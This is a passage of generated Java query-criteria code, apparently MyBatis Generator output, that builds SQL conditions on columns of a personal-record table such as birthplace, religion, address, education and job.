andPlaceOfBirthLessThan(String value) { addCriterion("PLACE_OF_BIRTH <", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthLessThanOrEqualTo(String value) { addCriterion("PLACE_OF_BIRTH <=", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthLike(String value) { addCriterion("PLACE_OF_BIRTH like", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthNotLike(String value) { addCriterion("PLACE_OF_BIRTH not like", value, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthIn(List<String> values) { addCriterion("PLACE_OF_BIRTH in", values, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthNotIn(List<String> values) { addCriterion("PLACE_OF_BIRTH not in", values, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthBetween(String value1, String value2) { addCriterion("PLACE_OF_BIRTH between", value1, value2, "placeOfBirth"); return (Criteria) this; } public Criteria andPlaceOfBirthNotBetween(String value1, String value2) { addCriterion("PLACE_OF_BIRTH not between", value1, value2, "placeOfBirth"); return (Criteria) this; } public Criteria andNativeCountryIsNull() { addCriterion("NATIVE_COUNTRY is null"); return (Criteria) this; } public Criteria andNativeCountryIsNotNull() { addCriterion("NATIVE_COUNTRY is not null"); return (Criteria) this; } public Criteria andNativeCountryEqualTo(String value) { addCriterion("NATIVE_COUNTRY =", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryNotEqualTo(String value) { addCriterion("NATIVE_COUNTRY <>", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryGreaterThan(String value) { addCriterion("NATIVE_COUNTRY >", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryGreaterThanOrEqualTo(String value) { addCriterion("NATIVE_COUNTRY >=", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryLessThan(String value) { addCriterion("NATIVE_COUNTRY <", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryLessThanOrEqualTo(String value) { addCriterion("NATIVE_COUNTRY <=", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryLike(String value) { addCriterion("NATIVE_COUNTRY like", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryNotLike(String value) { addCriterion("NATIVE_COUNTRY not like", value, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryIn(List<String> values) { addCriterion("NATIVE_COUNTRY in", values, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryNotIn(List<String> values) { addCriterion("NATIVE_COUNTRY not in", values, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryBetween(String value1, String value2) { addCriterion("NATIVE_COUNTRY between", value1, value2, "nativeCountry"); return (Criteria) this; } public Criteria andNativeCountryNotBetween(String value1, String value2) { addCriterion("NATIVE_COUNTRY not between", value1, value2, "nativeCountry"); return (Criteria) this; } public Criteria andNationIsNull() { addCriterion("NATION is null"); return (Criteria) this; } public Criteria andNationIsNotNull() { addCriterion("NATION is not null"); return (Criteria) this; } public Criteria andNationEqualTo(String value) { addCriterion("NATION =", value, "nation"); return (Criteria) this; } public Criteria andNationNotEqualTo(String value) { addCriterion("NATION <>", value, "nation"); return (Criteria) this; } public Criteria andNationGreaterThan(String value) { addCriterion("NATION >", value, "nation"); return (Criteria) this; } public Criteria andNationGreaterThanOrEqualTo(String value) { addCriterion("NATION >=", value, "nation"); return (Criteria) this; } public Criteria andNationLessThan(String value) { addCriterion("NATION <", value, "nation"); return (Criteria) this; } public Criteria andNationLessThanOrEqualTo(String value) { addCriterion("NATION <=", value, "nation"); return (Criteria) this; } public Criteria andNationLike(String value) { addCriterion("NATION like", value, "nation"); return (Criteria) this; } public Criteria andNationNotLike(String value) { addCriterion("NATION not like", value, "nation"); return (Criteria) this; } public Criteria andNationIn(List<String> values) { addCriterion("NATION in", values, "nation"); return (Criteria) this; } public Criteria andNationNotIn(List<String> values) { addCriterion("NATION not in", values, "nation"); return (Criteria) this; } public Criteria andNationBetween(String value1, String value2) { addCriterion("NATION between", value1, value2, "nation"); return (Criteria) this; } public Criteria andNationNotBetween(String value1, String value2) { addCriterion("NATION not between", value1, value2, "nation"); return (Criteria) this; } public Criteria andReligionIsNull() { addCriterion("RELIGION is null"); return (Criteria) this; } public Criteria andReligionIsNotNull() { addCriterion("RELIGION is not null"); return (Criteria) this; } public Criteria andReligionEqualTo(String value) { addCriterion("RELIGION =", value, "religion"); return (Criteria) this; } public Criteria andReligionNotEqualTo(String value) { addCriterion("RELIGION <>", value, "religion"); return (Criteria) this; } public Criteria andReligionGreaterThan(String value) { addCriterion("RELIGION >", value, "religion"); return (Criteria) this; } public Criteria andReligionGreaterThanOrEqualTo(String value) { addCriterion("RELIGION >=", value, "religion"); return (Criteria) this; } public Criteria andReligionLessThan(String value) { addCriterion("RELIGION <", value, "religion"); return (Criteria) this; } public Criteria andReligionLessThanOrEqualTo(String value) { addCriterion("RELIGION <=", value, "religion"); return (Criteria) this; } public Criteria andReligionLike(String value) { addCriterion("RELIGION like", value, "religion"); return (Criteria) this; } public Criteria andReligionNotLike(String value) { addCriterion("RELIGION not like", value, "religion"); return (Criteria) this; } public Criteria andReligionIn(List<String> values) { addCriterion("RELIGION in", values, "religion"); return (Criteria) this; } public Criteria andReligionNotIn(List<String> values) { addCriterion("RELIGION not in", values, "religion"); return (Criteria) this; } public Criteria andReligionBetween(String value1, String value2) { addCriterion("RELIGION between", value1, value2, "religion"); return (Criteria) this; } public Criteria andReligionNotBetween(String value1, String value2) { addCriterion("RELIGION not between", value1, value2, "religion"); return (Criteria) this; } public Criteria andPermanentAddressIsNull() { addCriterion("PERMANENT_ADDRESS is null"); return (Criteria) this; } public Criteria andPermanentAddressIsNotNull() { addCriterion("PERMANENT_ADDRESS is not null"); return (Criteria) this; } public Criteria andPermanentAddressEqualTo(String value) { addCriterion("PERMANENT_ADDRESS =", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressNotEqualTo(String value) { addCriterion("PERMANENT_ADDRESS <>", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressGreaterThan(String value) { addCriterion("PERMANENT_ADDRESS >", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressGreaterThanOrEqualTo(String value) { addCriterion("PERMANENT_ADDRESS >=", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressLessThan(String value) { addCriterion("PERMANENT_ADDRESS <", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressLessThanOrEqualTo(String value) { addCriterion("PERMANENT_ADDRESS <=", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressLike(String value) { addCriterion("PERMANENT_ADDRESS like", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressNotLike(String value) { addCriterion("PERMANENT_ADDRESS not like", value, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressIn(List<String> values) { addCriterion("PERMANENT_ADDRESS in", values, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressNotIn(List<String> values) { addCriterion("PERMANENT_ADDRESS not in", values, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressBetween(String value1, String value2) { addCriterion("PERMANENT_ADDRESS between", value1, value2, "permanentAddress"); return (Criteria) this; } public Criteria andPermanentAddressNotBetween(String value1, String value2) { addCriterion("PERMANENT_ADDRESS not between", value1, value2, "permanentAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressIsNull() { addCriterion("TEMPORARY_RESIDENCE_ADDRESS is null"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressIsNotNull() { addCriterion("TEMPORARY_RESIDENCE_ADDRESS is not null"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressEqualTo(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS =", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressNotEqualTo(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS <>", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressGreaterThan(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS >", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressGreaterThanOrEqualTo(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS >=", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressLessThan(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS <", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressLessThanOrEqualTo(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS <=", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressLike(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS like", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressNotLike(String value) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS not like", value, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressIn(List<String> values) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS in", values, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressNotIn(List<String> values) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS not in", values, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressBetween(String value1, String value2) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS between", value1, value2, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andTemporaryResidenceAddressNotBetween(String value1, String value2) { addCriterion("TEMPORARY_RESIDENCE_ADDRESS not between", value1, value2, "temporaryResidenceAddress"); return (Criteria) this; } public Criteria andNationalIsNull() { addCriterion("NATIONAL is null"); return (Criteria) this; } public Criteria andNationalIsNotNull() { addCriterion("NATIONAL is not null"); return (Criteria) this; } public Criteria andNationalEqualTo(String value) { addCriterion("NATIONAL =", value, "national"); return (Criteria) this; } public Criteria andNationalNotEqualTo(String value) { addCriterion("NATIONAL <>", value, "national"); return (Criteria) this; } public Criteria andNationalGreaterThan(String value) { addCriterion("NATIONAL >", value, "national"); return (Criteria) this; } public Criteria andNationalGreaterThanOrEqualTo(String value) { addCriterion("NATIONAL >=", value, "national"); return (Criteria) this; } public Criteria andNationalLessThan(String value) { addCriterion("NATIONAL <", value, "national"); return (Criteria) this; } public Criteria andNationalLessThanOrEqualTo(String value) { addCriterion("NATIONAL <=", value, "national"); return (Criteria) this; } public Criteria andNationalLike(String value) { addCriterion("NATIONAL like", value, "national"); return (Criteria) this; } public Criteria andNationalNotLike(String value) { addCriterion("NATIONAL not like", value, "national"); return (Criteria) this; } public Criteria andNationalIn(List<String> values) { addCriterion("NATIONAL in", values, "national"); return (Criteria) this; } public Criteria andNationalNotIn(List<String> values) { addCriterion("NATIONAL not in", values, "national"); return (Criteria) this; } public Criteria andNationalBetween(String value1, String value2) { addCriterion("NATIONAL between", value1, value2, "national"); return (Criteria) this; } public Criteria andNationalNotBetween(String value1, String value2) { addCriterion("NATIONAL not between", value1, value2, "national"); return (Criteria) this; } public Criteria andCityIdIsNull() { addCriterion("CITY_ID is null"); return (Criteria) this; } public Criteria andCityIdIsNotNull() { addCriterion("CITY_ID is not null"); return (Criteria) this; } public Criteria andCityIdEqualTo(String value) { addCriterion("CITY_ID =", value, "cityId"); return (Criteria) this; } public Criteria andCityIdNotEqualTo(String value) { addCriterion("CITY_ID <>", value, "cityId"); return (Criteria) this; } public Criteria andCityIdGreaterThan(String value) { addCriterion("CITY_ID >", value, "cityId"); return (Criteria) this; } public Criteria andCityIdGreaterThanOrEqualTo(String value) { addCriterion("CITY_ID >=", value, "cityId"); return (Criteria) this; } public Criteria andCityIdLessThan(String value) { addCriterion("CITY_ID <", value, "cityId"); return (Criteria) this; } public Criteria andCityIdLessThanOrEqualTo(String value) { addCriterion("CITY_ID <=", value, "cityId"); return (Criteria) this; } public Criteria andCityIdLike(String value) { addCriterion("CITY_ID like", value, "cityId"); return (Criteria) this; } public Criteria andCityIdNotLike(String value) { addCriterion("CITY_ID not like", value, "cityId"); return (Criteria) this; } public Criteria andCityIdIn(List<String> values) { addCriterion("CITY_ID in", values, "cityId"); return (Criteria) this; } public Criteria andCityIdNotIn(List<String> values) { addCriterion("CITY_ID not in", values, "cityId"); return (Criteria) this; } public Criteria andCityIdBetween(String value1, String value2) { addCriterion("CITY_ID between", value1, value2, "cityId"); return (Criteria) this; } public Criteria andCityIdNotBetween(String value1, String value2) { addCriterion("CITY_ID not between", value1, value2, "cityId"); return (Criteria) this; } public Criteria andDistrictIdIsNull() { addCriterion("DISTRICT_ID is null"); return (Criteria) this; } public Criteria andDistrictIdIsNotNull() { addCriterion("DISTRICT_ID is not null"); return (Criteria) this; } public Criteria andDistrictIdEqualTo(String value) { addCriterion("DISTRICT_ID =", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotEqualTo(String value) { addCriterion("DISTRICT_ID <>", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdGreaterThan(String value) { addCriterion("DISTRICT_ID >", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdGreaterThanOrEqualTo(String value) { addCriterion("DISTRICT_ID >=", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdLessThan(String value) { addCriterion("DISTRICT_ID <", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdLessThanOrEqualTo(String value) { addCriterion("DISTRICT_ID <=", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdLike(String value) { addCriterion("DISTRICT_ID like", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotLike(String value) { addCriterion("DISTRICT_ID not like", value, "districtId"); return (Criteria) this; } public Criteria andDistrictIdIn(List<String> values) { addCriterion("DISTRICT_ID in", values, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotIn(List<String> values) { addCriterion("DISTRICT_ID not in", values, "districtId"); return (Criteria) this; } public Criteria andDistrictIdBetween(String value1, String value2) { addCriterion("DISTRICT_ID between", value1, value2, "districtId"); return (Criteria) this; } public Criteria andDistrictIdNotBetween(String value1, String value2) { addCriterion("DISTRICT_ID not between", value1, value2, "districtId"); return (Criteria) this; } public Criteria andWardsIdIsNull() { addCriterion("WARDS_ID is null"); return (Criteria) this; } public Criteria andWardsIdIsNotNull() { addCriterion("WARDS_ID is not null"); return (Criteria) this; } public Criteria andWardsIdEqualTo(String value) { addCriterion("WARDS_ID =", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotEqualTo(String value) { addCriterion("WARDS_ID <>", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdGreaterThan(String value) { addCriterion("WARDS_ID >", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdGreaterThanOrEqualTo(String value) { addCriterion("WARDS_ID >=", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdLessThan(String value) { addCriterion("WARDS_ID <", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdLessThanOrEqualTo(String value) { addCriterion("WARDS_ID <=", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdLike(String value) { addCriterion("WARDS_ID like", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotLike(String value) { addCriterion("WARDS_ID not like", value, "wardsId"); return (Criteria) this; } public Criteria andWardsIdIn(List<String> values) { addCriterion("WARDS_ID in", values, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotIn(List<String> values) { addCriterion("WARDS_ID not in", values, "wardsId"); return (Criteria) this; } public Criteria andWardsIdBetween(String value1, String value2) { addCriterion("WARDS_ID between", value1, value2, "wardsId"); return (Criteria) this; } public Criteria andWardsIdNotBetween(String value1, String value2) { addCriterion("WARDS_ID not between", value1, value2, "wardsId"); return (Criteria) this; } public Criteria andTownIdIsNull() { addCriterion("TOWN_ID is null"); return (Criteria) this; } public Criteria andTownIdIsNotNull() { addCriterion("TOWN_ID is not null"); return (Criteria) this; } public Criteria andTownIdEqualTo(String value) { addCriterion("TOWN_ID =", value, "townId"); return (Criteria) this; } public Criteria andTownIdNotEqualTo(String value) { addCriterion("TOWN_ID <>", value, "townId"); return (Criteria) this; } public Criteria andTownIdGreaterThan(String value) { addCriterion("TOWN_ID >", value, "townId"); return (Criteria) this; } public Criteria andTownIdGreaterThanOrEqualTo(String value) { addCriterion("TOWN_ID >=", value, "townId"); return (Criteria) this; } public Criteria andTownIdLessThan(String value) { addCriterion("TOWN_ID <", value, "townId"); return (Criteria) this; } public Criteria andTownIdLessThanOrEqualTo(String value) { addCriterion("TOWN_ID <=", value, "townId"); return (Criteria) this; } public Criteria andTownIdLike(String value) { addCriterion("TOWN_ID like", value, "townId"); return (Criteria) this; } public Criteria andTownIdNotLike(String value) { addCriterion("TOWN_ID not like", value, "townId"); return (Criteria) this; } public Criteria andTownIdIn(List<String> values) { addCriterion("TOWN_ID in", values, "townId"); return (Criteria) this; } public Criteria andTownIdNotIn(List<String> values) { addCriterion("TOWN_ID not in", values, "townId"); return (Criteria) this; } public Criteria andTownIdBetween(String value1, String value2) { addCriterion("TOWN_ID between", value1, value2, "townId"); return (Criteria) this; } public Criteria andTownIdNotBetween(String value1, String value2) { addCriterion("TOWN_ID not between", value1, value2, "townId"); return (Criteria) this; } public Criteria andGroupsIdIsNull() { addCriterion("GROUPS_ID is null"); return (Criteria) this; } public Criteria andGroupsIdIsNotNull() { addCriterion("GROUPS_ID is not null"); return (Criteria) this; } public Criteria andGroupsIdEqualTo(String value) { addCriterion("GROUPS_ID =", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdNotEqualTo(String value) { addCriterion("GROUPS_ID <>", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdGreaterThan(String value) { addCriterion("GROUPS_ID >", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdGreaterThanOrEqualTo(String value) { addCriterion("GROUPS_ID >=", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdLessThan(String value) { addCriterion("GROUPS_ID <", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdLessThanOrEqualTo(String value) { addCriterion("GROUPS_ID <=", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdLike(String value) { addCriterion("GROUPS_ID like", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdNotLike(String value) { addCriterion("GROUPS_ID not like", value, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdIn(List<String> values) { addCriterion("GROUPS_ID in", values, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdNotIn(List<String> values) { addCriterion("GROUPS_ID not in", values, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdBetween(String value1, String value2) { addCriterion("GROUPS_ID between", value1, value2, "groupsId"); return (Criteria) this; } public Criteria andGroupsIdNotBetween(String value1, String value2) { addCriterion("GROUPS_ID not between", value1, value2, "groupsId"); return (Criteria) this; } public Criteria andElementIsNull() { addCriterion("ELEMENT is null"); return (Criteria) this; } public Criteria andElementIsNotNull() { addCriterion("ELEMENT is not null"); return (Criteria) this; } public Criteria andElementEqualTo(String value) { addCriterion("ELEMENT =", value, "element"); return (Criteria) this; } public Criteria andElementNotEqualTo(String value) { addCriterion("ELEMENT <>", value, "element"); return (Criteria) this; } public Criteria andElementGreaterThan(String value) { addCriterion("ELEMENT >", value, "element"); return (Criteria) this; } public Criteria andElementGreaterThanOrEqualTo(String value) { addCriterion("ELEMENT >=", value, "element"); return (Criteria) this; } public Criteria andElementLessThan(String value) { addCriterion("ELEMENT <", value, "element"); return (Criteria) this; } public Criteria andElementLessThanOrEqualTo(String value) { addCriterion("ELEMENT <=", value, "element"); return (Criteria) this; } public Criteria andElementLike(String value) { addCriterion("ELEMENT like", value, "element"); return (Criteria) this; } public Criteria andElementNotLike(String value) { addCriterion("ELEMENT not like", value, "element"); return (Criteria) this; } public Criteria andElementIn(List<String> values) { addCriterion("ELEMENT in", values, "element"); return (Criteria) this; } public Criteria andElementNotIn(List<String> values) { addCriterion("ELEMENT not in", values, "element"); return (Criteria) this; } public Criteria andElementBetween(String value1, String value2) { addCriterion("ELEMENT between", value1, value2, "element"); return (Criteria) this; } public Criteria andElementNotBetween(String value1, String value2) { addCriterion("ELEMENT not between", value1, value2, "element"); return (Criteria) this; } public Criteria andUniversityIdIsNull() { addCriterion("UNIVERSITY_ID is null"); return (Criteria) this; } public Criteria andUniversityIdIsNotNull() { addCriterion("UNIVERSITY_ID is not null"); return (Criteria) this; } public Criteria andUniversityIdEqualTo(String value) { addCriterion("UNIVERSITY_ID =", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotEqualTo(String value) { addCriterion("UNIVERSITY_ID <>", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdGreaterThan(String value) { addCriterion("UNIVERSITY_ID >", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdGreaterThanOrEqualTo(String value) { addCriterion("UNIVERSITY_ID >=", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdLessThan(String value) { addCriterion("UNIVERSITY_ID <", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdLessThanOrEqualTo(String value) { addCriterion("UNIVERSITY_ID <=", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdLike(String value) { addCriterion("UNIVERSITY_ID like", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotLike(String value) { addCriterion("UNIVERSITY_ID not like", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdIn(List<String> values) { addCriterion("UNIVERSITY_ID in", values, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotIn(List<String> values) { addCriterion("UNIVERSITY_ID not in", values, "universityId"); return (Criteria) this; } public Criteria andUniversityIdBetween(String value1, String value2) { addCriterion("UNIVERSITY_ID between", value1, value2, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotBetween(String value1, String value2) { addCriterion("UNIVERSITY_ID not between", value1, value2, "universityId"); return (Criteria) this; } public Criteria andEducationalIdIsNull() { addCriterion("EDUCATIONAL_ID is null"); return (Criteria) this; } public Criteria andEducationalIdIsNotNull() { addCriterion("EDUCATIONAL_ID is not null"); return (Criteria) this; } public Criteria andEducationalIdEqualTo(String value) { addCriterion("EDUCATIONAL_ID =", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdNotEqualTo(String value) { addCriterion("EDUCATIONAL_ID <>", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdGreaterThan(String value) { addCriterion("EDUCATIONAL_ID >", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdGreaterThanOrEqualTo(String value) { addCriterion("EDUCATIONAL_ID >=", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdLessThan(String value) { addCriterion("EDUCATIONAL_ID <", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdLessThanOrEqualTo(String value) { addCriterion("EDUCATIONAL_ID <=", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdLike(String value) { addCriterion("EDUCATIONAL_ID like", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdNotLike(String value) { addCriterion("EDUCATIONAL_ID not like", value, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdIn(List<String> values) { addCriterion("EDUCATIONAL_ID in", values, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdNotIn(List<String> values) { addCriterion("EDUCATIONAL_ID not in", values, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdBetween(String value1, String value2) { addCriterion("EDUCATIONAL_ID between", value1, value2, "educationalId"); return (Criteria) this; } public Criteria andEducationalIdNotBetween(String value1, String value2) { addCriterion("EDUCATIONAL_ID not between", value1, value2, "educationalId"); return (Criteria) this; } public Criteria andGraduationYearIsNull() { addCriterion("GRADUATION_YEAR is null"); return (Criteria) this; } public Criteria andGraduationYearIsNotNull() { addCriterion("GRADUATION_YEAR is not null"); return (Criteria) this; } public Criteria andGraduationYearEqualTo(String value) { addCriterion("GRADUATION_YEAR =", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearNotEqualTo(String value) { addCriterion("GRADUATION_YEAR <>", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearGreaterThan(String value) { addCriterion("GRADUATION_YEAR >", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearGreaterThanOrEqualTo(String value) { addCriterion("GRADUATION_YEAR >=", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearLessThan(String value) { addCriterion("GRADUATION_YEAR <", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearLessThanOrEqualTo(String value) { addCriterion("GRADUATION_YEAR <=", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearLike(String value) { addCriterion("GRADUATION_YEAR like", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearNotLike(String value) { addCriterion("GRADUATION_YEAR not like", value, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearIn(List<String> values) { addCriterion("GRADUATION_YEAR in", values, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearNotIn(List<String> values) { addCriterion("GRADUATION_YEAR not in", values, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearBetween(String value1, String value2) { addCriterion("GRADUATION_YEAR between", value1, value2, "graduationYear"); return (Criteria) this; } public Criteria andGraduationYearNotBetween(String value1, String value2) { addCriterion("GRADUATION_YEAR not between", value1, value2, "graduationYear"); return (Criteria) this; } public Criteria andSpecializedIdIsNull() { addCriterion("SPECIALIZED_ID is null"); return (Criteria) this; } public Criteria andSpecializedIdIsNotNull() { addCriterion("SPECIALIZED_ID is not null"); return (Criteria) this; } public Criteria andSpecializedIdEqualTo(String value) { addCriterion("SPECIALIZED_ID =", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdNotEqualTo(String value) { addCriterion("SPECIALIZED_ID <>", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdGreaterThan(String value) { addCriterion("SPECIALIZED_ID >", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdGreaterThanOrEqualTo(String value) { addCriterion("SPECIALIZED_ID >=", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdLessThan(String value) { addCriterion("SPECIALIZED_ID <", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdLessThanOrEqualTo(String value) { addCriterion("SPECIALIZED_ID <=", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdLike(String value) { addCriterion("SPECIALIZED_ID like", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdNotLike(String value) { addCriterion("SPECIALIZED_ID not like", value, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdIn(List<String> values) { addCriterion("SPECIALIZED_ID in", values, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdNotIn(List<String> values) { addCriterion("SPECIALIZED_ID not in", values, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdBetween(String value1, String value2) { addCriterion("SPECIALIZED_ID between", value1, value2, "specializedId"); return (Criteria) this; } public Criteria andSpecializedIdNotBetween(String value1, String value2) { addCriterion("SPECIALIZED_ID not between", value1, value2, "specializedId"); return (Criteria) this; } public Criteria andJobIdIsNull() { addCriterion("JOB_ID is null"); return (Criteria) this; } public Criteria andJobIdIsNotNull() { addCriterion("JOB_ID is not null"); return (Criteria) this; } public Criteria andJobIdEqualTo(String value) { addCriterion("JOB_ID =", value, "jobId"); return (Criteria) this; } public Criteria andJobIdNotEqualTo(String value) { addCriterion("JOB_ID <>", value, "jobId"); return (Criteria) this; } public Criteria andJobIdGreaterThan(String value) { addCriterion("JOB_ID >", value, "jobId"); return (Criteria) this; } public Criteria andJobIdGreaterThanOrEqualTo(String value) { addCriterion("JOB_ID >=", value, "jobId"); return (Criteria) this; } public Criteria andJobIdLessThan(String value) { addCriterion("JOB_ID <", value, "jobId"); return (Criteria) this; } public Criteria andJobIdLessThanOrEqualTo(String value) { addCriterion("JOB_ID <=", value, "jobId"); return (Criteria) this; } public Criteria andJobIdLike(String value) { addCriterion("JOB_ID like", value, "jobId"); return (Criteria) this; } public Criteria andJobIdNotLike(String value) { addCriterion("JOB_ID not like", value, "jobId"); return (Criteria) this; } public Criteria andJobIdIn(List<String> values) { addCriterion("JOB_ID in", values, "jobId"); return (Criteria) this; } public Criteria andJobIdNotIn(List<String> values) { addCriterion("JOB_ID not in", values, "jobId"); return (Criteria) this; } public Criteria andJobIdBetween(String value1, String value2) { addCriterion("JOB_ID between", value1, value2, "jobId"); return (Criteria) this; } public Criteria andJobIdNotBetween(String value1, String value2) { addCriterion("JOB_ID not between", value1, value2, "jobId"); return (Criteria) this; } public Criteria andWorkPlaceIsNull() { addCriterion("WORK_PLACE is null"); return (Criteria) this; } public Criteria andWorkPlaceIsNotNull() { addCriterion("WORK_PLACE is not null"); return (Criteria) this; } public Criteria andWorkPlaceEqualTo(String value) { addCriterion("WORK_PLACE =", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotEqualTo(String value) { addCriterion("WORK_PLACE <>", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceGreaterThan(String value) { addCriterion("WORK_PLACE >", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceGreaterThanOrEqualTo(String value) { addCriterion("WORK_PLACE >=", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceLessThan(String value) { addCriterion("WORK_PLACE <", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceLessThanOrEqualTo(String value) { addCriterion("WORK_PLACE <=", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceLike(String value) { addCriterion("WORK_PLACE like", value, "workPlace"); return (Criteria) this; } public Criteria andWorkPlaceNotLike(String value) { 